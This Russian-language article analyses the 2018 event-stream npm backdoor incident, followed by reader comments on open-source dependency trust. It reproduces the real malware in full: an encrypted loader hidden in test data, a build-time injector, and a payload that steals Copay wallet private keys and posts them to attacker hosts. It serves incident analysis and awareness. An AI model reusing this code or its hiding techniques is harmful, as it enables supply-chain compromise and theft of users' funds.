Еженедельно из репозитория NPM загружается более 1,9 миллионов копий библиотеки EventStream. Она используется во многих крупных проектах для простой и удобной работы с потоками в Node.JS. Среди прочих, эта библиотека обрабатывает потоки и в популярном криптокошельке Copay (впрочем, об этом позже).

21 ноября 2018 года случилось странное. GitHub-пользователь @FallingSnow сообщил, что в одной из зависимостей event-stream спрятан вредоносный код, который фактически представляет собой бэкдор неизвестной функциональности.

Пользователи начали разбираться, откуда взялся этот вредоносный код. Это очень интересная и поучительная история. К сожалению, она может иметь долговременные последствия для многих open-source проектов.

Итак, началось расследование. Благодаря истории коммитов на GitHub сразу стало понятно, что вредоносный коммит сделал другой пользователь @right9ctrl, которому были предоставлены права мейнтейнера для event-stream. На его счету ряд нормальных коммитов, а автор проекта Доминик Карр (@dominictarr) передал ему права мейнтейнера.

Почему автор передал права мейнтейнера совершенно незнакомому человеку? Сам Доминик говорит, что ему в тягость заниматься проектом. См. подробное оправдание по поводу данного инцидента: автор пишет, что вообще создавал проект ради удовольствия и не думал, что его поддержка станет отнимать столько времени, а саму библиотеку задействуют в таком большом количестве серьёзных программ. Он не снимает с себя вину за инцидент, но говорит, что open-source проект не является его «собственностью», это общественное достояние, так что все остальные тоже в ответе за произошедшее. В конце концов, почему никто из нормальных людей не взял на себя права мейнтейнера и не занялся аудитом коммитов?

Вернёмся к упомянутому коммиту @right9ctrl. Хитрость в том, что он не вносил код бэкдора непосредственно в библиотеку event-stream, а лишь внедрял зависимость на другой пакет flatmap-stream. Уже в нём под видом тестового набора данных (test/data.js) в одной из переменных передавался вредоносный код следующего содержания:

Бэкдор
// var r = require, t = process;

// function e(r) {
// return Buffer.from(r, "hex").toString()
// }
function decode(data) {
return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
// npm_package_description = process['env']['npm_package_description'];
npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

// a = u.update(n[0], e(n[8]), e(n[9]));
// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

После «расшифровки» переменной n картина проясняется.

Первоначальная загрузка
/*@@*/
module.exports = function(e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),
s = o.update(e, "hex", "utf8");
s = "\n" + (s += o.final("utf8"));
var a = c.indexOf("\n/*@@*/");
0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
try {
r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
} catch (e) {}
})
} catch (e) {}
};

Вторая стадия
/*@@*/ ! function() {
function e() {
try {
var o = require("http"),
a = require("crypto"),
c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
var r = o.request({
hostname: e,
port: 8080,
method: "POST",
path: "/" + t,
headers: {
"Content-Length": n.length,
"Content-Type": "text/html"
}
}, function() {});
r.on("error", function(e) {}), r.write(n), r.end()
}

function r(e, t) {
for (var n = "", r = 0; r < t.length; r += 200) {
var o = t.substr(r, 200);
n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
}
i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
}

function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function(e) {
e.getFile(t, {
create: !1
}, function(e) {
e.file(function(e) {
var t = new FileReader;
t.onloadend = function() {
return n(JSON.parse(t.result))
}, t.onerror = function(e) {
t.abort()
}, t.readAsText(e)
})
})
})
} catch (e) {} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r))
} catch (e) {}
try {
chrome.storage.local.get(t, function(e) {
if (e) return n(JSON.parse(e[t]))
})
} catch (e) {}
}
}
global.CSSMap = {}, l("profile", function(e) {
for (var t in e.credentials) {
var n = e.credentials[t];
"livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
var t = this;
t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
}.bind(n))
}
});
var e = require("bitcore-wallet-client/lib/credentials.js");
e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
} catch (e) {}
return t
}
} catch (e) {}
}
window.cordova ? document.addEventListener("deviceready", e) : e()
}();

После деобфускации стала понятна функциональность бэкдора. Оказалось, что он успешно срабатывает только при наличии в системе криптокошелька Copay (пакет copay-dash). В этом случае он копирует приватные кошельки пользователи и отправляет их на IP-адреса в Малайзии.

Разработчики Copay провели расследование и выяснили, что бэкдор попал в зависимости с версиями кошелька от 5.0.2 до 5.1.0, то есть до последней версии. 27 ноября 2018 года они оперативно выпустили обновленную версию 5.2.0.

Злоумышленник @right9ctrl не просто добавил бэкдор, но и постарался замести следы. Через три дня он удалил вредоносный код из репозитория flatmap-stream, обновил номер версии, а старую удалил с NPM. Таким образом, в последней версии пакета бэкдор отсутствует, но он уже разошёлся по десяткам тысяч машин, что и было целью. Такой метод оказался весьма успешным, судя по тому, что бэкдор обнаружили не сразу.

Пока неизвестно, сколько именно средств удалось заработать злоумышленнику, но данная атака демонстрирует принципиальную эффективность самого метода внедрения бэкдоров в проекты open-source. Очевидно, что это не последний такой случай. Об этом пишет и Доминик Карр, автор пострадавшей библиотеки EventStream: «Вероятно, будет много других модулей в ваших деревьях зависимостей, которые теперь становятся бременем для их авторов» — и эти «обременительные» модули могут передаваться в управление другим мейнтейнерам, как произошло в данном случае, или даже продаваться за деньги. Поскольку зависимости внедрены в сотни и тысячи программ, то какой-нибудь самый маленький модуль способен стать источником больших проблем.

Почему автор программы передаёт контроль над ней совершенно незнакомому человеку?

«Если это уже не доставляет удовольствия, то вы не получаете буквально ничего от поддержки популярного пакета, — отвечает Доминик Карр. — Поэтому сейчас мы находимся в странной долине, где у вас есть куча зависимостей, которые поддерживаются теми, кто потерял интерес или даже начал выгорать, и кто сам больше не использует их. Вы можете легко поделиться кодом, но никто не хочет разделить ответственность за поддержание этого кода. Подобно тому, как модуль похож на часть цифровой собственности, право, которое может быть передано, но вы не получаете никакой выгоды от его владения, например, возможности продать его или отдать в аренду, однако вы по-прежнему сохраняете ответственность».

Какой выход из сложившейся ситуации для пользователей свободного ПО? Или платить автору, или самим принимать активное участие в проекте, считает Карр.



Комментарии (48)


  1. vesper-bot
    27.11.2018 10:48
    +2

    Что-то есть желание, чтобы любой блоб в исходниках обозначался бэкдором сразу без расследования, и на этапе компиляции в задницу выпиливался. Особенно касается всего интерпретируемого вроде javascript'a.


    1. Ogoun
      27.11.2018 17:24
      +5

      Это не решит проблему, можно спрятать в тексте, картинке, звуке, видео, можно выкачивать со стороннего ресурса кучей способов, вплоть до назначения операционной системе такой задачи. Защитит только непосредственный анализ нового кода, чем вряд ли займутся все в open source.


    1. Dolfik
      27.11.2018 17:42
      +1

      В таком случае, как минимум, помимо блоб необходимо и eval считать бэкдором.


      1. vesper-bot
        27.11.2018 18:26

        Вообще да, так как у eval исполняемый код заранее неизвестен и неподконтролен — скачали ли его, в ресурсах спрятали или ещё где, и кто поручится, чтО именно ему подается на вход. Не зря же в процессорах появилась поддержка NX/XD битов на память, чтобы разделять, где у процесса данные, а где код. Вот только сколько всего завязано на этот eval — нет данных, может, слишком много, чтобы можно было так огульно его объявить вредным.


    1. justboris
      27.11.2018 18:48
      +1

      С приходом WebAssembly ситуация еще усугубится. Байткода в npm-модулях станет только больше.


      1. mayorovp
        27.11.2018 21:59

        Но не в исходниках же. В исходниках будет проверяемый код без блобов, только на другом языке.


        1. justboris
          27.11.2018 23:18

          Значит я неправильно понял предыдущий коммент. Мне показалось, что там речь о пакетах с npm.


          Если это про исходники, то есть вот такое интересное предложение привязать npm-пакеты к их исходникам на Github. То есть сделать ситуацию, когда на гитхабе одно, а в npm другое, было невозможно технически.


          1. lostpassword
            29.11.2018 08:46

            Так в сам гитхаб бэкдор и зальют. Где спасение?)


            1. mayorovp
              29.11.2018 10:46

              Там он будет хотя бы виден, а не как тут: на гитхабе исходники нормальные, а в npm-пакете троянец сидит.


  1. b360124
    27.11.2018 10:54
    -1

    Если Карр не хочет поддерживать либу, то пусть так и скажет, может пакет возьмут на поддержку или энтузиасты или компании, но раздавать права майнтейнера налево и направо — это не вариант от слова совсем.


    1. tangro
      27.11.2018 11:12
      +4

      Так он так и сказал, пришел «энтузиаст» и начал «поддерживать». Как отличить хорошего энтузиаста от плохого?


      1. justboris
        27.11.2018 17:05

        Никак. Особо целеустремлённый хакер может сначала долго контрибьютить полезные вещи, завоевывать доверие, а потом тихонько оставить бэкдор.


        Поэтому я бы сфокусировался на минимизации поражения, когда хакер уже внутри, то есть грамотное разграничение прав в системе, чтобы ваш линтер не имел доступа к папкам за пределами проекта, тем более — к ключам от кошельков


  1. fukkit
    27.11.2018 11:09
    -1

    А где-то есть основания считать, что старый и новый аккаунт использовали два разных человека?


  1. VBKesha
    27.11.2018 11:09

    Чем больше зависимостей тем больше проблем, да это ускоряет разработку и это огромный плюс. Но вот появился один из больших минусов, нет никакой гарантии что где то, кто то, не сделает тоже самое повторно.
    Но адекватного выхода в современных реалиях я не вижу.


  1. tangro
    27.11.2018 11:14

    Таков современный мир. Мы соглашаемся пользоваться автомобилями из-за их удобства, даже понимая, что ценой этому — тысячи смертей в год в ДТП. И мы соглашаемся пользоваться левыми зависимостями, поскольку это быстро и удобно, даже понимая, что рано или поздно такая зависимость украдёт наш кошелёк.


    1. Oxoron
      27.11.2018 12:18

      Одно дело «украдет наш кошелек». Другое «украдет кошельки тысяч наших клиентов»


      1. izuware
        27.11.2018 22:49

        удалось заработать

        Так принято в современном обществе говорить… (


        1. namikiri
          28.11.2018 08:51

          Так принято говорить только у совсем бесчестных людей.


  1. ElvenSailor
    27.11.2018 11:29

    Когда-то нечто подоброе должно было произойти.
    Разрабы тащат себе в рот всякую бяку, а потом вот это :)

    Вопрос — что делать-то?

    Как защититься от «левого» энтузазиста, или прикинувшегося таковым изначального злодея — никто ведь не запрещает влиться в проект и честно его поддерживать, годика эдак два, а потом тихо и мирно вписать в какое-нибудь плохо просматриваемое место «тестовые» данные.
    Насколько защищены в этом плане критичные и популярные вещи вроде дистрибов того же Дебиана / Минта / your_fav_ linux'a?


    1. 0xd34df00d
      27.11.2018 15:07
      -7

      Вопрос — что делать-то?

      А это снова к вопросу о чистых языках программирования. Библиотечный или тестовый код физически не сможет ничего никуда отправить, если он не живёт в IO-монаде. Даже аудит ручками делать не надо, аудит сделает тайпчекер.


      1. 0xd34df00d
        28.11.2018 00:47

        Ух ты, много несогласия вижу я, а дискуссии почему-то не получается. Аж жалко!


      1. Cerberuser
        28.11.2018 04:12

        Попросил бы немного развить мысль: в каком production-ready языке эти возможности, на ваш взгляд, хорошо реализованы?


        1. 0xd34df00d
          28.11.2018 06:20
          +1

          В хаскеле, например.


          1. Cerberuser
            28.11.2018 08:52

            Вопрос, насколько его производительность позволяет ему быть production-ready, оставлю специалистам, ясно.


            1. 0xd34df00d
              28.11.2018 16:22

              Вполне позволяет.

              Числодробилки я бы на нем писать не стал, там плюсы лучше взять, а для остального — да, вполне. А если мы таки с JS сравниваем, то и это уточнение не нужно.


            1. danfe
              29.11.2018 05:28

              Дык, специалисты отвечали на этот вопрос. Уже минимум лет пять (судя по дате публикации) с производительностью и production-readiness у хаскеля всё в порядке:

              Программы на Haskell быстрее python, php, ruby (и других интерпретируемых языков). Быстрее Erlang/Java (и других vm-based языков). Обычно медленнее Си, хотя я видел несколько случаев, когда компилятор Haskell выдал результат, превосходящий сишный. Для любых практических применений производительности Haskell — за глаза и за уши.


              1. Cerberuser
                29.11.2018 05:55

                Благодарю. Я, как человек, не крутящийся в этих кругах, подобное свидетельство искал бы явно в разы дольше, чем Вы.


      1. mayorovp
        28.11.2018 08:39
        +2

        А что делать с библиотеками, которые живут в IO-монаде?


        1. 0xd34df00d
          28.11.2018 16:21

          Вот их придётся тщательно ревьювить, да.

          Впрочем, я тут открыл некоторые свои домашние и рабочие проекты — в среднем на 10-20 прямых зависимостей (транзитивное замыкание получается в районе 100-200), есть 1-2, которые живут в IO, и IO-код которых действительно вызывается.


  1. justboris
    27.11.2018 12:01
    +5

    Злоумышленник @right9ctrl не просто добавил бэкдор, но и постарался замести следы. Через три дня он удалил вредоносный код из репозитория flatmap-stream, обновил номер версии

    Здесь нужна важная поправка. Злоумышленность пользователя @right9ctrl пока еще не доказана. Да, он добавил новую зависимость вот в этом коммите, но тот модуль опубликован от другого аккаунта: https://github.com/hugeglass/flatmap-stream


    Возможно, за аккаунтами стоит один и тот же человек, а может и нет, a @right9ctrl просто добавил новую функциональность, запрошенную пользователями и по неопытности не проверил тот модуль.


    1. mk2
      27.11.2018 16:20

      Учитывая, что он не стал как-либо объясняться/оправдываться и удалил свой аккаунт, всё же больше похоже на злонамеренное действие.


  1. sanakess
    27.11.2018 12:17
    -1

    Бред, зачем передавать права ментейнера? Если не хочешь поддерживать проект дальше то просто перестаешь это делать. Любой может сделать форк и выкладывать туда свои наработки


  1. melesik
    27.11.2018 12:17

    Наверное легко найти все возможные бэкдоры, просто просканировав файлы, на предмет require('crypto') и т.п.


    1. justboris
      27.11.2018 12:29
      +1

      На самом деле нет, потому что в данном случае конструкция require('crypto') выглядела как r(e(n[2])). Код был достаточно хорошо спрятан, его, может быть, и не нашли бы, если бы он не вызывал deprecated API, о чем был warning в консоль: https://github.com/remy/nodemon/issues/1442


      1. savostin
        27.11.2018 15:46
        +6

        обновляйте свои бэкдоры! ;)


  1. justboris
    27.11.2018 12:21
    +8

    На самом деле этот сценарий атаки уже был описан примерно год назад: Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов.


    Тогда это спровоцировало большое обсуждение и поиск способов защиты. В частности, в npm добавилась команда audit, которая предупреждает о модулях с уязвимостями, двухфакторная авторизация, а в репозитории теперь есть кнопка для репорта об уязвимом модуле, чтобы его оперативно удалили.


    Ну и наконец, ждем стабильного релиза deno, принципиальной переделки node, с возможностью запретить делать запросы в сеть любому модулю.


  1. FlameArt
    27.11.2018 16:36

    В php композер тоже скачивает миллион зависимостей, но там есть простой пул решений: open_basedir чтобы не дать скриптам шариться по компу, а ещё disabled_functions, чтобы отключить всё, что может быть опасным и вообще, даже чисто архитектурно, не должно быть использовано.

    У js есть одна особенность: Вебпак, поэтому вряд ли можно отключить функции запуска процессов, манипуляций правами и всякого такого, нодовские фреймворки стали слишком от этого зависимы (и это кстати тоже проблема). Но разрабы могли бы сделать аналог open_basedir для песочницы, в которой крутятся нодовские процессы. Это сняло бы сразу часть проблем. И в идеале бы, чтобы в этой песочнице запускались и все дочерние процессы. Вряд ли найдётся много кодеров, которые заморачиваются настройкой изолированных сред для запуска самой среды разработки и нодовских процессов, так было бы невозможно работать, нужно решение из коробки как в пхп


    1. ganjar
      27.11.2018 22:43

      Не так давно, кстати, был опубликован метод для обхода запрета на выполнение команд через функции типа «exec»
      github.com/Bo0oM/PHP_imap_open_exploit


  1. johnfound
    27.11.2018 20:59
    -3

    Ну, это не первый проблем с npm, вообще то. подробно


    Я не JS программист и не понимаю как все это работает, но мне кажется что зависимость от странных незнакомых людей по крайней мере неразумно.


    К тому же, если какая нибудь организация (Node.js Foundation) решила делать общественное хранилище библиотек – так контролируйте что в нем находится!


    1. Prototik
      27.11.2018 23:55

      Ну, для начала, это не Node.js foundation, а npm, Inc. Они и следят — как могут. Не будут же они ревьювить каждую строчку кода, которую залил очередной ноунейм.

      зависимость от странных незнакомых людей по крайней мере неразумно

      Ой, ну удалите пжалуйста все ОС со всех устройств — их тоже писали странные незнакомые люди. Пускай каждый пишет себе свою ОС. Вот и наступит рай на земле…


      1. johnfound
        28.11.2018 03:39

        Ну, для начала, это не Node.js foundation, а npm, Inc. Они и следят — как могут. Не будут же они ревьювить каждую строчку кода, которую залил очередной ноунейм.

        Ну хоть и гугл. Не можешь, не берись. Те обезьянки, которые берут и пользуются, они думают что все проверено, надежно. Репозиторий официальный, технология самая модная. А в конце получается что я не я и хата не моя. Только, как я уже сказал – в случае с лефт-падом, упала добрая половина веб-а. Теперь бэкдор появился.


        Кстати, мне совершенно не интересен npm, node.js и всякие извращенцы. Плохое только то, что некие недоумки криворукие делают глупостей, а ярлык вешают не на npm.inc и не на недоумков, а на все свободное ПО. Вот что бесит больше всего!


        1. Cerberuser
          28.11.2018 04:23

          "Не согласен — возражай. Возражаешь — предлагай". У Вас есть какие-нибудь более конкретные идеи, что в данном случае мог и должен был сделать npm, чтобы предотвратить проблему? А то, честно говоря, ощущение такое, что мы по большей части застряли на первом этапе: недовольства полно, а реальных альтернатив — не особо.


          1. johnfound
            28.11.2018 08:32
            -1

            У меня предложения есть. Ведь, я тоже разработчик свободного ПО. Только карма немного осталась… Но с другой стороной – делай что надо и будь что будет. :D


            Вся идея npm очевидно порочная. Автоматическое управление пакетов совершенно не решает ад зависимостей, только усугубляет его, потому что легче становится работать с очень глубокими графами зависимостей.


            А надо научится уменьшать эту глубину. И ветки этого графа обязательно надо проходить через библиотеки которые контролируются правильно и большим сообществом. Тогда и риски понижаться значительно.


            Вот у меня например зависимостей в текущем проекте от: 1. MUSL; 2. SQLite; 3. И все.


            1. npocmu
              28.11.2018 12:02

              Да? А от чего зависит 1. MUSL; 2. SQLite?
              Вы их зависимости имеете возможность контролировать?


              1. johnfound
                28.11.2018 12:20

                Ну, SQLite зависит от MUSL, a MUSL от ничего не зависит. Как то так. :P


                Так что да, имею возможность.


                1. BD9
                  30.11.2018 08:04

                  А по-моему, от «ничего» зависит любой пакет (и даже не-пакет).


                  1. johnfound
                    30.11.2018 13:10

                    Согласен. Тогда так: MUSL зависит только от ничего. И так как ничего с открытым кодом (пустой файл) то он тоже может быть проверен на уязвимости. :P


  1. justboris
    28.11.2018 14:50

    Опубликовал перевод поста с детальным разбором и техническими деталями этого инцидента: habr.com/post/431360